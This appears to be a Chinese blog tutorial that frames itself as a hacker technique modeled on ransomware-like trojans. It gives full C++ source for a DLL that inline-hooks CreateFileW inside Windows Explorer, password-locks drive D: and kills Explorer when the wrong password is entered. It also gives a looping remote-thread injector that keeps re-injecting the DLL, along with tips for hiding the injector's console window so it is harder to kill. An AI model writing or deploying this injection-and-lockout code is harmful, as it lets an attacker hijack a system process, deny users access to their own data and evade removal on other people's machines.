黑客技术之加密你的磁盘

目录

1.必备技术

2.技术要点

3.CreateFile

4.准备工作

5. 编写HOOK API的DLL文件

6.注入 Explorer


最近看电影时看到一段:黑客入侵计算机的场景,当黑客打开某个特定的磁盘/文件夹时 会弹出一个黑色的CUI程序,要求使用者输入密码,觉得这个功能很col,非常类似之前很流行的木马,一些木马加密用户的文件夹,索要比特币,或者其它钱财,才能解锁。于是本来就是Windows开发出身的我,心血来潮的去实现了这个功能。

1.必备技术

建议阅读本篇文章之前,可以把我之前写的几篇文章阅读以下,如果你对HOOK技术有很深的底功那么可以略过。

2.技术要点

1.Windows下应用层所有的GUI磁盘操作都是由一个名为:explorer(Windows 资源管理器)的程序管理的

2.explorer在对磁盘进行访问与操作的时候,使用的是“CreateFile” API来对磁盘进行IO操作

3.CreateFile

函数名:CreateFile

存在于:kernel32.dll

函数介绍:Windows下应用层对文件/IO设备进行操作的API函数,使用时会创建一个唯一句柄,与IO设备关联,相当于钥匙

函数原型:

HANDLE CreateFile(LPCTSTR lpFileName, //普通文件名或者设备文件名
DWORD dwDesiredAccess, //访问模式(写/读)
DWORD dwShareMode, //共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针
DWORD dwCreationDisposition, //如何创建
DWORD dwFlagsAndAttributes, //文件属性
HANDLE hTemplateFile //用于复制文件句柄
);

参数介绍:

lpFileName String要打开的文件的名或设备名。这个字符串的最大长度在ANSI版本中为MAX_PATH,在unicode版本中为32767。

dwDesiredAccess指定类型的访问对象。如果为 GENERIC_READ 表示允许对设备进行读访问;如果为 GENERIC_WRITE 表示允许对设备进行写访问(可组合使用);如果为零,表示只允许获取与一个设备有关的信息 。

另外,还可以指定下面的控制标志:

标准控制权限(16-23位掩码):

DELETE 删除对象的权限。

READ_CONTROL 从对象的安全描述符中读取信息的权限,但不包括SACL(系统访问控制列表)中的信息。

WRITE_DAC 修改对象安全描述符中的DACL(随机访问控制列表)的权限

WRITE_OWNER 修改对象安全描述符中的属主的权限

SYNCHRONIZE 同步化使用对象的权限,即可以创建一个线程等待信号量释放(但有些对象不支持这个权限)。

STANDARD_RIGHTS_REQUIRED 等价于前面四种权限的总合(通常这四种是必须具有的权限)。

STANDARD_RIGHTS_READ 一般等价于READ_CONTROL

STANDARD_RIGHTS_WRITE 一般等价于READ_CONTROL

STANDARD_RIGHTS_EXECUTE 一般等价于READ_CONTROL

STANDARD_RIGHTS_ALL 等价于前面五种权限的总合。

特殊控制权限(0-15位掩码):

SPECIFIC_RIGHTS_ALL

ACCESS_SYSTEM_SECURITY

MAXIMUM_ALLOWED

GENERIC_READ

GENERIC_WRITE

GENERIC_EXECUTE

GENERIC_ALL

注:实质上是通过ACCESS_MASK结构体的一个双字值来设置标准权限、特殊权限和一般权限的。

dwShareModeLong, 如果是零表示不共享; 如果是FILE_SHARE_DELETE表示随后打开操作对象会成功,但只有删除访问请求的权限;如果是FILE_SHARE_READ随后打开操作对象会成功只有请求读访问的权限;如果是FILE_SHARE_WRITE 随后打开操作对象会成功,但只有请求写访问的权限。

lpSecurityAttributesSECURITY_ATTRIBUTES, 指向一个SECURITY_ATTRIBUTES结构的指针,定义了文件的安全特性(如果操作系统支持的话)

dwCreationDispositionLong,下述常数之一:

CREATE_NEW 创建文件;如文件存在则会出错

CREATE_ALWAYS 创建文件,会改写前一个文件

OPEN_EXISTING 文件必须已经存在。由设备提出要求

OPEN_ALWAYS 如文件不存在则创建它

TRUNCATE_EXISTING 将现有文件缩短为零长度

dwFlagsAndAttributesLong, 一个或多个下述常数

FILE_ATTRIBUTE_ARCHIVE 标记归档属性

FILE_ATTRIBUTE_COMPRESSED 将文件标记为已压缩,或者标记为文件在目录中的默认压缩方式

FILE_ATTRIBUTE_NORMAL 默认属性

FILE_ATTRIBUTE_HIDDEN 隐藏文件或目录

FILE_ATTRIBUTE_READONLY 文件为只读

FILE_ATTRIBUTE_SYSTEM 文件为系统文件

FILE_FLAG_WRITE_THROUGH 操作系统不得推迟对文件的写操作

FILE_FLAG_OVERLAPPED 允许对文件进行重叠操作

FILE_FLAG_NO_BUFFERING 禁止对文件进行缓冲处理。文件只能写入磁盘卷的扇区块

FILE_FLAG_RANDOM_ACCESS 针对随机访问对文件缓冲进行优化

FILE_FLAG_SEQUENTIAL_SCAN 针对连续访问对文件缓冲进行优化

FILE_FLAG_DELETE_ON_CLOSE 关闭了上一次打开的句柄后,将文件删除。特别适合临时文件

也可在Windows NT下组合使用下述常数标记:

SECURITY_ANONYMOUS, SECURITY_IDENTIFICATION, SECURITY_IMPERSONATION, SECURITY_DELEGATION, SECURITY_CONTEXT_TRACKING, SECURITY_EFFECTIVE_ONLY

hTemplateFile,hTemplateFile为一个文件或设备句柄,表示按这个参数给出的句柄为模板创建文件(就是将该句柄文件拷贝到lpFileName指定的路径,然后再打开)。它将指定该文件的属性扩展到新创建的文件上面,这个参数可用于将某个新文件的属性设置成与现有文件一样,并且这样会忽略dwAttrsAndFlags。通常这个参数设置为NULL,为空表示不使用模板,一般为空。

返回值:成功返回一个HANDLE类型的句柄,失败返回0,并设置对应的出错码

4.准备工作

通过上面的知识点,我们可以得知:

  • Windows下应用层的所有GUI对磁盘操作都是由explorer(资源管理器)来完成的。
  • explorer所使用的API为CreateFile
  • CreateFile存在于kernel32.dll中

那么我们只需要通过APIHOOK,入侵explorer,然后HOOK CreateFile这个API,然后在通过CreateFIle的第一个参数来判断文件夹是否是我们所需要读写的文件夹,如果是则调出加密程序,否则则让CreateFile正常工作。

5. 编写HOOK API的DLL文件

1.编写Hook类

这段代码可以参考我之前写的关于API Hook的技术点,这里就不重复讲解了,不然文章就重了。

API HOOK

inlineHook


class MyHookClass {
public:
    MyHookClass()
    {
        m_pfnOld = nullptr;
        ZeroMemory(m_bNewBytes, 5);
        ZeroMemory(m_bOldBytes, 5);
    }
    ~MyHookClass()
    {
        UnHook();
    }

    BOOL Hook(char* szModuleName/*模块名*/, char* szFuncName/*函数名*/, PROC pHookFunc/*新的函数地址*/)
    {



        m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
        if (!m_pfnOld)
        {

            return FALSE;
        }


        SIZE_T dwNum = 0;
        ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);

        m_bNewBytes[0] = '\xe9';

        *(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;

        WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);


        return TRUE;
    }
    //复原
    void UnHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;
            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
        }
    }
    //重置
    bool ReHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;

            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
            return FALSE;
        }
        return TRUE;
    }
private:
    PROC m_pfnOld;//原API函数地址
    BYTE m_bOldBytes[5];//原api前5个字节的跳转地址
    BYTE m_bNewBytes[5];//新的跳转地址
};

2.编写一个自己的CreateFile

因为我们要Hook API,所以需要替换一个自己的CreateFile

先声明HOOK类,用于HOOK

MyHookClass g_MsgHook;

自己的CreateFile

这里我用到了AllocConsole,因为不是CUI进程,所以我们需要额外扩展一个终端出来,要求用户输入密码

代码注释非常清楚,有不懂的地方可以在下方留言

HANDLE WINAPI MyCreateFile(
    _In_ LPCTSTR lpFileName,
    _In_ DWORD dwDesiredAccess,
    _In_ DWORD dwShareMode,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    _In_ DWORD dwCreationDisposition,
    _In_ DWORD dwFlagsAndAttributes,
    _In_opt_ HANDLE hTemplateFile
) {
//声明返回句柄
    HANDLE hand;
    //锁定磁盘,注意这里打开盘符的路径是“\\.\D:”
    LPCTSTR lpStr1 = _T("\\\\.\\D:");
    //因为是LPCTSTR类型,所以我们用cstring类型格式化在比对
    CString str1(lpStr1);
    CString str2(lpFileName);
    //调用StrCmp来比对
    if (StrCmp(str1, str2) == 0) {
        //申请控制台
        AllocConsole();
        //读写权限
        freopen("CONOUT$", "w+t", stdout);
        freopen("CONIN", "r+t", stdin);
        wprintf(L"Please input a password:");
        //密码缓存
        TCHAR Buffer[100]; //开缓存
        memset(Buffer, 0, 100);
        DWORD dwCount = 0;//已输入数
        //这里我们不能使用scanf,必须使用ReadConsole,因为申请的控制台是一个独立的console,这个console的INPUT不是标准的stdin,所以scanf不能访问读缓冲区的
        //获取input的句柄
        HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
        //读取asci码,否则双字节无法匹配
        ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
        //判断是否相等
        if (_tcscmp(Buffer, L"helloword") == 0) {
            //相等的情况下恢复API钩子
            g_MsgHook.UnHook();
            //调用原函数
            hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
            //在此Hook成我们自己的,如果不这样下次就进不来了
            g_MsgHook.ReHook();
            //返回句柄
            return hand;
        }
        else {//不相等直接打印并死掉
            wprintf(L"Password error");
            //这里我们必须调用exit,因为如果CreateFileW失败资源管理器会尝试别的函数,如果我们hook所有的函数,都不让他成功的话,资源管理器会自动重启。
            //所以这里我们索性直接退出,因为已经嵌入到资源管理器里了,所以使用exit可以直接杀死父进程
            exit(0);
        }
    }
    else {
        //如果不是目标盘则调用原函数
        g_MsgHook.UnHook();
        hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
        g_MsgHook.ReHook();
        return hand;
    }
    return hand;
}

最后的dll main函数里就是在最开始注入HOOK

在DLLPROCESS_ATTACH,当动态库第一次被加载到进程里时的消息里调用HOOK函数,这里我HOOK的是CreateFileW,因为我的系统是Windows10,Windows10在开发程序时使用的是unicode(32)编码,所以HOOK在后面有W的

win7以下和XP是ANSI编码,使用的是CreateFileA

这是个小细节请注意

同时我们的DLL要编译成64位,因为资源管理器是64位程序。


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{

    char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
    char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
    strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
    strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

完整代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#define _CRT_SECURE_NO_WARNINGS
#include "pch.h"
#include <stdio.h>
#include <atlstr.h>
#include<iostream>
using namespace std;
//api hook class

class MyHookClass {
public:
    MyHookClass()
    {
        m_pfnOld = nullptr;
        ZeroMemory(m_bNewBytes, 5);
        ZeroMemory(m_bOldBytes, 5);
    }
    ~MyHookClass()
    {
        UnHook();
    }

    BOOL Hook(char* szModuleName/*模块名*/, char* szFuncName/*函数名*/, PROC pHookFunc/*新的函数地址*/)
    {



        m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
        if (!m_pfnOld)
        {

            return FALSE;
        }


        SIZE_T dwNum = 0;
        ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);

        m_bNewBytes[0] = '\xe9';

        *(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;

        WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);


        return TRUE;
    }
    //复原
    void UnHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;
            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
        }
    }
    //重置
    bool ReHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;

            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
            return FALSE;
        }
        return TRUE;
    }
private:
    PROC m_pfnOld;//原API函数地址
    BYTE m_bOldBytes[5];//原api前5个字节的跳转地址
    BYTE m_bNewBytes[5];//新的跳转地址
};

MyHookClass g_MsgHook;
HANDLE WINAPI MyCreateFile(
    _In_ LPCTSTR lpFileName,
    _In_ DWORD dwDesiredAccess,
    _In_ DWORD dwShareMode,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    _In_ DWORD dwCreationDisposition,
    _In_ DWORD dwFlagsAndAttributes,
    _In_opt_ HANDLE hTemplateFile
) {
    //声明返回句柄
    HANDLE hand;
    //锁定磁盘,注意这里打开盘符的路径是“\\.\D:”
    LPCTSTR lpStr1 = _T("\\\\.\\D:");
    //因为是LPCTSTR类型,所以我们用cstring类型格式化在比对
    CString str1(lpStr1);
    CString str2(lpFileName);
    //调用StrCmp来比对
    if (StrCmp(str1, str2) == 0) {
        //申请控制台
        AllocConsole();
        //读写权限
        freopen("CONOUT$", "w+t", stdout);
        freopen("CONIN", "r+t", stdin);
        wprintf(L"Please input a password:");
        //密码缓存
        TCHAR Buffer[100]; //开缓存
        memset(Buffer, 0, 100);
        DWORD dwCount = 0;//已输入数
        //这里我们不能使用scanf,必须使用ReadConsole,因为申请的控制台是一个独立的console,这个console的INPUT不是标准的stdin,所以scanf不能访问读缓冲区的
        //获取input的句柄
        HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
        //读取asci码,否则双字节无法匹配
        ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
        //判断是否相等
        if (_tcscmp(Buffer, L"helloword") == 0) {
            //相等的情况下恢复API钩子
            g_MsgHook.UnHook();
            //调用原函数
            hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
            //在此Hook成我们自己的,如果不这样下次就进不来了
            g_MsgHook.ReHook();
            //返回句柄
            return hand;
        }
        else {//不相等直接打印并死掉
            wprintf(L"Password error");
            //这里我们必须调用exit,因为如果CreateFileW失败资源管理器会尝试别的函数,如果我们hook所有的函数,都不让他成功的话,资源管理器会自动重启。
            //所以这里我们索性直接退出,因为已经嵌入到资源管理器里了,所以使用exit可以直接杀死父进程
            exit(0);
        }
    }
    else {
        //如果不是目标盘则调用原函数
        g_MsgHook.UnHook();
        hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
        g_MsgHook.ReHook();
        return hand;
    }
    return hand;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{

    char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
    char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
    strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
    strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

6.注入 Explorer

写完dll后就要写注入程序

因为ALS地址随机化与内存保护的原因我们在Hook之前需要注入到Explorer的进程空间里去。

以下注入过程与实践方法可以参考我之前写的这篇:https://blog.csdn.net/bjbz_cxy/article/details/80774803

这里我们要循环注入,因为上面说过,exit会结束掉进程,而进程死掉以后,我们的动态库会随着卸载,所以我们要写一个守护进程一直默默的写入

这个库的思路就是先判断资源管理器是否存在,存在则写入,然后设置条件变量,不在写入,当资源管理器发生重启后(与dll里的exit代码结合)在重新写入

#include <iostream>
#include<windows.h>
#define DESK "C:\\Users\\stephen zhou\\source\\repos\\Dll1\\x64\\Debug\\Dll1.dll"
int main()
{
	const DWORD THREADSIZE = 1024 * 4;
	HANDLE pRemoteThread, hRemoteProcess;
	PTHREAD_START_ROUTINE pfnAddr;
	DWORD pId;
	void* pFileRemote;
	bool sign = false;
	while (1) {
		HWND hWinPro = ::FindWindow(L"ProgMan", NULL);
		if (!hWinPro) {
			sign = false;
		}
		if (sign == false) {
			if (hWinPro){
				::GetWindowThreadProcessId(hWinPro, &pId); //获得explorer句柄
				hRemoteProcess = ::OpenProcess(PROCESS_ALL_ACCESS, false, pId);
				pFileRemote = ::VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (!::WriteProcessMemory(hRemoteProcess, pFileRemote, DESK, THREADSIZE, NULL))
					return 0;
				pfnAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
				pRemoteThread = ::CreateRemoteThread(hRemoteProcess, NULL, 0, pfnAddr, pFileRemote, 0, NULL);
				sign = true;
			}
		}
	}
	return 0;
}

效果:

句宁叫

但是如果守护进程一直显示窗口很容易被杀掉,如果我们想隐藏控制台只需要加上这条指令:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

/subsystem:\"windows\"
链接成windows程序(winmain函数那种)baidu
/entry:\"mainCRTStartup\"
入口函数是mainCRTStartup

意思是链接成Windows窗口程序,启动时Windows就不会去帮我们调用cmd窗口去执行我们的程序了,但是我们的程序没有GUI,所以没有界面。

注意这种方法如果在vsIde环境下运行是无效的,我们需要编译好后到目录下打开。

还有一种方法是API

 HWND hwnd;
SetConsoleTitle("hello")
    hwnd=FindWindow("ConsoleWindowClass","hello"); //处理顶级窗口的类名和窗口名称匹配指定的字符串,不搜索子窗口。
    if(hwnd)
    {
        ShowWindow(hwnd,SW_HIDE);               //设置指定窗口的显示状态
    }
评论 21
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

17岁boy想当攻城狮

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值